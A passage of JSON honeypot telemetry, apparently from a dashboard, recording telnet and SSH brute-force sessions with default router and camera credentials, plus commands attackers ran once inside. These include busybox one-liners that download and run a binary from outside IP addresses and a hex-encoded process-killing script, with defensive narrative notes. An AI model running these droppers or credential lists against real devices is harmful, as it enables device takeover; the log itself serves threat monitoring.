1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1],"attempts_total":2910,"distinct_creds":164,"distinct_users":17,"distinct_passwords":130,"got_shell":true,"shell_sessions":65,"commands":[],"command_n":[],"commands_total":643,"distinct_commands":11,"narrative":[],"tags":[],"replay":null,"key":"889f805eaf36"},{"id":"55037641cff5","t":"2026-10-13T07:57:10Z","first_t":"2026-10-12T19:07:44Z","repeats":5696,"merged":true,"ip":"42.180.33.60","cc":"CN","proto":"telnet","duration_s":null,"attempts":[{"u":"1234","p":"1234","ok":false},{"u":"admin","p":"ho4uku6at","ok":false},{"u":"root","p":"","ok":false},{"u":"root","p":"hg2x0","ok":false},{"u":"root","p":"juantech","ok":false},{"u":"Admin","p":"","ok":true},{"u":"Administrator","p":"admin","ok":false},{"u":"admin","p":"","ok":false},{"u":"admin","p":"1234","ok":false},{"u":"admin","p":"12345","ok":false},{"u":"admin","p":"12345678","ok":false},{"u":"admin","p":"CenturyL1nk","ok":false},{"u":"admin","p":"GeNeXiS@19","ok":true},{"u":"admin","p":"adminpass","ok":false},{"u":"admin","p":"bayandsl","ok":false},{"u":"admin","p":"conexant","ok":false},{"u":"admin","p":"gpon","ok":false},{"u":"admin","p":"pass","ok":false},{"u":"admin","p":"password","ok":false},{"u":"admin","p":"v2mprt","ok":false},{"u":"admin1","p":"password","ok":false},{"u":"administrator","p":"administrator","ok":false},{"u":"e8ehome","p":"e8ehome","ok":false},{"u":"localadmin","p":"localadmin","ok":false},{"u":"operator","p":"operator","ok":false},{"u":"root","p":"00000000","ok":false},{"u":"root","p":"7ujMko0vizxv","ok":false},{"u":"root","p":"888888","ok":false},{"u":"root","p":"admin","ok":false},{"u":"root","p":"default","ok":false},{"u":"root","p":"dreambox","ok":false},{"u":"root","p":"gpon","ok":false},{"u":"root","p":"ikwb","ok":false},{"u":"root","p":"klv123","ok":false},{"u":"root","p":"kopp","ok":false},{"u":"root","p":"pass","ok":false},{"u":"root","p":"password","ok":false},{"u":"service","p":"service","ok":false},{"u":"supervisor","p":"supervisor","ok":false},{"u":"support","p":"1234","ok":false}],"attempt_n":[2,2,2,2,2,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1],"attempts_total":5696,"distinct_creds":148,"distinct_users":17,"distinct_passwords":115,"got_shell":true,"shell_sessions":159,"commands":["/bin/busybox wget;/bin/busybox echo -ne '\\x43\\x58\\x5a\\x56\\x4a\\x54'",">/var/run/.x&&cd /var/run;>/mnt/.x&&cd /mnt;>/usr/.x&&cd /usr;>/dev/.x&&cd /dev;>/dev/shm/.x&&cd /dev/shm;>/tmp/.x&&cd /tmp;>/var/.x&&cd /var;/bin/busybox echo -e '\\x43\\x58\\x5a\\x56\\x4a\\x54'",">/var/run/.x&&cd /var/run;>/mnt/.x&&cd /mnt;>/usr/.x&&cd /usr;>/dev/.x&&cd /dev;>/dev/shm/.x&&cd /dev/shm;>/tmp/.x&&cd /tmp;>/var/.x&&cd /var;rm -rf i;wget http://95.155.243.196:55793/i ||curl -O http://95.155.243.196:55793/i ||/bin/busybox wget http://95.155.243.196:55793/i;chmod 777 i ||(cp /bin/ls ii;cat i>ii &&rm i;cp ii i;rm ii);./i;/bin/busybox echo -e '\\x57\\x4a\\x52\\x58\\x46\\x4a\\x56\\x56'","config terminal","enable","linuxshell","sh","start","su","system"],"command_n":[2,2,2,2,2,2,2,2,2,2],"commands_total":1589,"distinct_commands":11,"narrative":["Asked for a shell 5 different ways, which is what malware does when it does not yet know whether it is on a router, a camera or a real server.","Echoed a hex-encoded marker back twice ('CXZVJT', 'WJRXFJVV') to confirm the shell was real and running its commands.","Tried to download a payload from 95.155.243.196 using wget, falling back through each in turn. Nothing was fetched: this honeypot is not allowed to make outbound connections.","Probed for busybox, which is the shell it expects to find on an embedded device.","Cleaned up after itself on the way out.","Ran 3 other commands that match no pattern this page recognises. The transcript has them."],"tags":["shell-hunt","marker-echo","payload-fetch","busybox","cleanup"],"replay":null,"key":"02fb70bda320"},{"id":"ca3012e52b99","t":"2026-10-13T07:56:53Z","first_t":"2026-10-12T07:58:50Z","repeats":4725,"merged":true,"ip":"139.135.60.59","cc":"PK","proto":"telnet","duration_s":null,"attempts":[{"u":"admin","p":"1234","ok":false},{"u":"admin","p":"888888","ok":false},{"u":"admin","p":"a1sev5y7c39k","ok":false},{"u":"admin","p":"conexant","ok":false},{"u":"root","p":"klv123","ok":false},{"u":"root","p":"system","ok":false},{"u":"Administrator","p":"admin","ok":false},{"u":"TMAR#DLKT20060205","p":"DLKT20060205","ok":false},{"u":"admin","p":"cat1029","ok":false},{"u":"admin","p":"chzhdpl","ok":false},{"u":"admin","p":"epicrouter","ok":false},{"u":"admin","p":"pass","ok":false},{"u":"admin","p":"password","ok":false},{"u":"admin","p":"smcadmin","ok":false},{"u":"admin","p":"vnpt","ok":false},{"u":"administrator","p":"administrator","ok":false},{"u":"e8ehome1","p":"e8ehome1","ok":false},{"u":"gdcuadmin","p":"gdcuadmin","ok":false},{"u":"rapport","p":"r@p8p0r+","ok":false},{"u":"root","p":"070admin","ok":false},{"u":"root","p":"1111","ok":false},{"u":"root","p":"1234","ok":false},{"u":"root","p":"25802580","ok":false},{"u":"root","p":"7ujMko0admin","ok":false},{"u":"root","p":"Fireitup","ok":false},{"u":"root","p":"GM8182","ok":false},{"u":"root","p":"bluehorse","ok":false},{"u":"root","p":"default","ok":false},{"u":"root","p":"gpon","ok":false},{"u":"root","p":"ifconfig","ok":false},{"u":"root","p":"juantech","ok":false},{"u":"root","p":"klv1234","ok":false},{"u":"root","p":"password","ok":false},{"u":"root","p":"user","ok":false},{"u":"root","p":"zte","ok":false},{"u":"service","p":"service","ok":false},{"u":"supervisor","p":"supervisor","ok":false},{"u":"support","p":"support123","ok":false},{"u":"tech","p":"tech","ok":false},{"u":"telnet","p":"telnet","ok":false}],"attempt_n":[3,2,2,2,2,2,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1],"attempts_total":4726,"distinct_creds":164,"distinct_users":16,"distinct_passwords":130,"got_shell":true,"shell_sessions":108,"commands":[],"command_n":[],"commands_total":1106,"distinct_commands":12,"narrative":[],"tags":[],"replay":null,"key":"fce7fed2e850"},{"id":"b2089a857ffd","t":"2026-10-13T07:51:42Z","first_t":"2026-10-13T07:51:42Z","repeats":1,"ip":"62.16.41.154","cc":"RU","proto":"ssh","duration_s":23.1,"attempts":[{"u":"admin","p":"Admin2026!","ok":false}],"got_shell":false,"commands":[],"commands_total":0,"narrative":[],"tags":[],"replay":null,"key":"06d9ccde732d"},{"id":"7297846b861e","t":"2026-10-13T07:48:36Z","first_t":"2026-10-12T08:00:14Z","repeats":4458,"merged":true,"ip":"27.215.44.220","cc":"CN","proto":"telnet","duration_s":null,"attempts":[{"u":"Admin","p":"Admin","ok":false},{"u":"root","p":"Admin","ok":false},{"u":"admin","p":"7ujMko0admin","ok":false},{"u":"localadmin","p":"localadmin","ok":false},{"u":"root","p":"root","ok":true},{"u":"super","p":"super","ok":false},{"u":"!!Huawei","p":"@HuaweiHgw","ok":false},{"u":"666666","p":"666666","ok":false},{"u":"Administrator","p":"admin","ok":false},{"u":"admin","p":"1111","ok":false},{"u":"admin","p":"1111111","ok":false},{"u":"admin","p":"12345","ok":false},{"u":"admin","p":"12345678","ok":false},{"u":"admin","p":"123456789","ok":false},{"u":"admin","p":"1q2w3e","ok":false},{"u":"admin","p":"888888","ok":false},{"u":"admin","p":"GeNeXiS@19","ok":false},{"u":"admin","p":"chzhdpl","ok":false},{"u":"admin","p":"conexant","ok":false},{"u":"admin","p":"gpon","ok":false},{"u":"admin","p":"h@32LuyD","ok":false},{"u":"admin","p":"ho4uku6at","ok":false},{"u":"admin","p":"password","ok":false},{"u":"admin","p":"smcadmin","ok":false},{"u":"cht","p":"chtngpon","ok":false},{"u":"cunmgadmin","p":"cunmgadmin","ok":false},{"u":"default","p":"default","ok":false},{"u":"keomeo","p":"keomeo","ok":false},{"u":"root","p":"","ok":false},{"u":"root","p":"12345678","ok":false},{"u":"root","p":"1234567890","ok":false},{"u":"root","p":"1234horses","ok":false},{"u":"root","p":"2011vesta","ok":false},{"u":"root","p":"7ujMko0vizxv","ok":true},{"u":"root","p":"Pon521","ok":false},{"u":"root","p":"admin","ok":false},{"u":"root","p":"anko","ok":false},{"u":"root","p":"e2008jl","ok":false},{"u":"root","p":"hg2x0","ok":false},{"u":"root","p":"juantech","ok":false}],"attempt_n":[3,3,2,2,2,2,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1],"attempts_total":4458,"distinct_creds":164,"distinct_users":13,"distinct_passwords":130,"got_shell":true,"shell_sessions":89,"commands":["/bin/busybox wget;/bin/busybox echo -ne '\\x42\\x48\\x43\\x4c\\x44\\x47'",">/var/run/.x&&cd /var/run;>/mnt/.x&&cd /mnt;>/usr/.x&&cd /usr;>/dev/.x&&cd /dev;>/dev/shm/.x&&cd /dev/shm;>/tmp/.x&&cd /tmp;>/var/.x&&cd /var;/bin/busybox echo -e '\\x42\\x48\\x43\\x4c\\x44\\x47'",">/var/run/.x&&cd /var/run;>/mnt/.x&&cd /mnt;>/usr/.x&&cd /usr;>/dev/.x&&cd /dev;>/dev/shm/.x&&cd /dev/shm;>/tmp/.x&&cd /tmp;>/var/.x&&cd /var;rm -rf i;wget http://90.224.208.190:36646/i ||curl -O http://90.224.208.190:36646/i ||/bin/busybox wget http://90.224.208.190:36646/i;chmod 777 i ||(cp /bin/ls ii;cat i>ii &&rm i;cp ii i;rm ii);./i;/bin/busybox echo -e '\\x44\\x49\\x50\\x46\\x4e\\x4f\\x4f\\x45'","config terminal","enable","linuxshell","sh","shell","start","su","system"],"command_n":[3,3,3,3,3,3,3,3,3,3,3],"commands_total":929,"distinct_commands":13,"narrative":["Asked for a shell 6 different ways, which is what malware does when it does not yet know whether it is on a router, a camera or a real server.","Echoed a hex-encoded marker back twice ('BHCLDG', 'DIPFNOOE') to confirm the shell was real and running its commands.","Tried to download a payload from 90.224.208.190 using wget, falling back through each in turn. Nothing was fetched: this honeypot is not allowed to make outbound connections.","Probed for busybox, which is the shell it expects to find on an embedded device.","Cleaned up after itself on the way out.","Ran 3 other commands that match no pattern this page recognises. The transcript has them."],"tags":["shell-hunt","marker-echo","payload-fetch","busybox","cleanup"],"replay":null,"key":"78491b2b1d6f"},{"id":"7ab83d688504","t":"2026-10-13T07:47:56Z","first_t":"2026-10-12T06:42:02Z","repeats":22,"merged":true,"ip":"176.53.159.196","cc":"TR","proto":"ssh","duration_s":null,"attempts":[{"u":"support","p":"support","ok":false}],"attempt_n":[22],"attempts_total":22,"distinct_creds":1,"distinct_users":1,"distinct_passwords":1,"got_shell":false,"shell_sessions":0,"commands":[],"command_n":[],"commands_total":0,"distinct_commands":0,"narrative":[],"tags":[],"replay":null,"key":"1f1bf02e5713"},{"id":"00ecdfbd544c","t":"2026-10-13T07:47:17Z","first_t":"2026-10-13T07:47:17Z","repeats":1,"ip":"218.146.163.192","cc":"KR","proto":"telnet","duration_s":71.7,"attempts":[{"u":"admin","p":"GeNeXiS@19","ok":true}],"got_shell":true,"commands":["enable","system","shell","sh","linuxshell","ping ;sh","/bin/busybox","/bin/busybox hostname slur","/bin/busybox echo > /tmp/.b && sh /tmp/.b && cd /tmp/","/bin/busybox echo > /var/.b && sh /var/.b && cd /var/","/bin/busybox echo > /var/run/.b && sh /var/run/.b && cd /var/run/","/bin/busybox echo > /var/tmp/.b && sh /var/tmp/.b && cd /var/tmp/","/bin/busybox echo > /dev/.b && sh /dev/.b && cd /dev/","/bin/busybox echo > /dev/shm/.b && sh /dev/shm/.b && cd /dev/shm/","/bin/busybox echo > /etc/.b && sh /etc/.b && cd /etc/","/bin/busybox echo > /mnt/.b && sh /mnt/.b && cd /mnt/","/bin/busybox echo > /usr/.b && sh /usr/.b && cd /usr/","/bin/busybox echo > /boot/.b && sh /boot/.b && cd /boot/","/bin/busybox echo > /home/.b && sh /home/.b && cd /home/","/bin/busybox","/bin/busybox echo -ne \"\\x23\\x21\\x2F\\x62\\x69\\x6E\\x2F\\x73\\x68\\x0A\\x0A\\x66\\x6F\\x72\\x20\\x70\\x72\\x6F\\x63\\x5F\\x64\\x69\\x72\\x20\\x69\\x6E\\x20\\x2F\\x70\\x72\\x6F\\x63\" > .k","/bin/busybox echo -ne \"\\x2F\\x2A\\x3B\\x20\\x64\\x6F\\x0A\\x20\\x20\\x20\\x20\\x70\\x69\\x64\\x3D\\x24\\x7B\\x70\\x72\\x6F\\x63\\x5F\\x64\\x69\\x72\\x23\\x23\\x2A\\x2F\\x7D\\x0A\\x0A\" >> .k","/bin/busybox echo -ne \"\\x20\\x20\\x20\\x20\\x72\\x65\\x73\\x75\\x6C\\x74\\x3D\\x24\\x28\\x6C\\x73\\x20\\x2D\\x6C\\x20\\x22\\x2F\\x70\\x72\\x6F\\x63\\x2F\\x24\\x70\\x69\\x64\\x2F\\x65\" >> .k","/bin/busybox echo -ne \"\\x78\\x65\\x22\\x20\\x32\\x3E\\x20\\x2F\\x64\\x65\\x76\\x2F\\x6E\\x75\\x6C\\x6C\\x29\\x0A\\x0A\\x20\\x20\\x20\\x20\\x69\\x66\\x20\\x5B\\x20\\x22\\x24\\x72\\x65\" >> .k","/bin/busybox echo -ne \"\\x73\\x75\\x6C\\x74\\x22\\x20\\x21\\x3D\\x20\\x22\\x24\\x7B\\x72\\x65\\x73\\x75\\x6C\\x74\\x25\\x28\\x64\\x65\\x6C\\x65\\x74\\x65\\x64\\x29\\x7D\\x22\\x20\\x5D\" >> .k","/bin/busybox echo -ne \"\\x3B\\x20\\x74\\x68\\x65\\x6E\\x0A\\x20\\x20\\x20\\x20\\x20\\x20\\x20\\x20\\x6B\\x69\\x6C\\x6C\\x20\\x2D\\x39\\x20\\x22\\x24\\x70\\x69\\x64\\x22\\x0A\\x20\\x20\" >> .k","/bin/busybox echo -ne \"\\x20\\x20\\x66\\x69\\x0A\\x64\\x6F\\x6E\\x65\\x0A\" >> .k","sh .k","#!/bin/shfor proc_dir in /proc/*; do    pid=${proc_dir##*/}    result=$(ls -l \"/proc/$pid/exe\" 2> /dev/null)    if [ \"$result\" != \"${result%(deleted)}\" ]; then        kill -9 \"$pid\"    fidone","sh .k","#!/bin/shfor proc_dir in /proc/*; do    pid=${proc_dir##*/}    result=$(ls -l \"/proc/$pid/exe\" 2> /dev/null)    if [ \"$result\" != \"${result%(deleted)}\" ]; then        kill -9 \"$pid\"    fidone","sh .k","#!/bin/shfor proc_dir in /proc/*; do    pid=${proc_dir##*/}    result=$(ls -l \"/proc/$pid/exe\" 2> /dev/null)    if [ \"$result\" != \"${result%(deleted)}\" ]; then        kill -9 \"$pid\"    fidone","sh .k","#!/bin/shfor proc_dir in /proc/*; do    pid=${proc_dir##*/}    result=$(ls -l \"/proc/$pid/exe\" 2> /dev/null)    if [ \"$result\" != \"${result%(deleted)}\" ]; then        kill -9 \"$pid\"    fidone","sh .k","#!/bin/shfor proc_dir in /proc/*; do    pid=${proc_dir##*/}    result=$(ls -l \"/proc/$pid/exe\" 2> /dev/null)    if [ \"$result\" != \"${result%(deleted)}\" ]; then        kill -9 \"$pid\"    fidone","sh .k","#!/bin/shfor proc_dir in /proc/*; do    pid=${proc_dir##*/}    result=$(ls -l \"/proc/$pid/exe\" 2> /dev/null)    if [ \"$result\" != \"${result%(deleted)}\" ]; then        kill -9 \"$pid\"    fidone","sh .k","#!/bin/shfor proc_dir in /proc/*; do    pid=${proc_dir##*/}    result=$(ls -l \"/proc/$pid/exe\" 2> /dev/null)    if [ \"$result\" != \"${result%(deleted)}\" ]; then        kill -9 \"$pid\"    fidone","sh .k","#!/bin/shfor proc_dir in /proc/*; do    pid=${proc_dir##*/}    result=$(ls -l \"/proc/$pid/exe\" 2> /dev/null)    if [ \"$result\" != \"${result%(deleted)}\" ]; then        kill -9 \"$pid\"    fidone","sh .k","#!/bin/shfor proc_dir in /proc/*; do    pid=${proc_dir##*/}    result=$(ls -l \"/proc/$pid/exe\" 2> /dev/null)    if [ \"$result\" != \"${result%(deleted)}\" ]; then        kill -9 \"$pid\"    fidone","sh .k","#!/bin/shfor proc_dir in /proc/*; do    pid=${proc_dir##*/}    result=$(ls -l \"/proc/$pid/exe\" 2> /dev/null)    if [ \"$result\" != \"${result%(deleted)}\" ]; then        kill -9 \"$pid\"    fidone","/bin/busybox"],"commands_total":48,"narrative":["Asked for a shell 5 different ways, which is what malware does when it does not yet know whether it is on a router, a camera or a real server.","Probed for busybox, which is the shell it expects to find on an embedded device.","Ran 43 other commands that match no pattern this page recognises. The transcript has them."],"tags":["shell-hunt","busybox"],"replay":null,"key":"0aa05bba6236"},{"id":"60835e286c28","t":"2026-10-13T07:46:57Z","first_t":"2026-10-13T07:46:57Z","repeats":1,"ip":"218.146.163.192","cc":"KR","proto":"telnet","duration_s":19.4,"attempts":[{"u":"root","p":"jvbzd","ok":false}],"got_shell":false,"commands":[],"commands_total":0,"narrative":[],"tags":[],"replay":null,"key":"21bf833cddc8"},{"id":"28c4465760aa","t":"2026-10-13T07:46:53Z","first_t":"2026-10-13T07:46:53Z","repeats":1,"ip":"106.244.120.37","cc":"KR","proto":"ssh","duration_s":19.3,"attempts":[{"u":"defaultcreds","p":"defaultcreds12*","ok":false}],"got_shell":false,"commands":[],"commands_total":0,"narrative":[],"tags":[],"replay":null,"key":"d9502d431843"},{"id":"e9e4b1304558","t":"2026-10-13T07:46:53Z","first_t":"2026-10-13T07:46:53Z","repeats":1,"ip":"106.244.120.37","cc":"KR","proto":"ssh","duration_s":19.2,"attempts":[{"u":"ubuntu","p":"defaultcreds12*","ok":false}],"got_shell":false,"commands":[],"commands_total":0,"narrative":[],"tags":[],"replay":null,"key":"545e280daeb2"},{"id":"43fcdfe71ee0","t":"2026-10-13T07:46:46Z","first_t":"2026-10-13T07:46:46Z","repeats":1,"ip":"106.244.120.37","cc":"KR","proto":"ssh","duration_s":22.5,"attempts":[{"u":"root","p":"defaultcreds12*","ok":false}],"got_shell":false,"commands":[],"commands_total":0,"narrative":[],"tags":[],"replay":null,"key":"bc22338521ce"},{"id":"2f9cd19e6c0a","t":"2026-10-13T07:46:45Z","first_t":"2026-10-13T07:46:45Z","repeats":1,"ip":"218.146.163.192","cc":"KR","proto":"telnet","duration_s":12.6,"attempts":[{"u":"root","p":"juantech","ok":false}],"got_shell":false,"commands":[],"commands_total":0,"narrative":[],"tags":[],"replay":null,"key":"d510441333dd"},{"id":"1dcbc5b04a28","t":"2026-10-13T07:46:16Z","first_t":"2026-10-13T07:46:16Z","repeats":1,"ip":"62.16.41.154","cc":"RU","proto":"ssh","duration_s":20.7,"attempts":[{"u":"root","p":"1991","ok":false}],"got_shell":false,"commands":[],"commands_total":0,"narrative":[],"tags":[],"replay":null,"key":"020df625810a"}],"meta":{"listed":40,"with_replay":15,"sessions":405778,"candidates":4800,"merged":29}}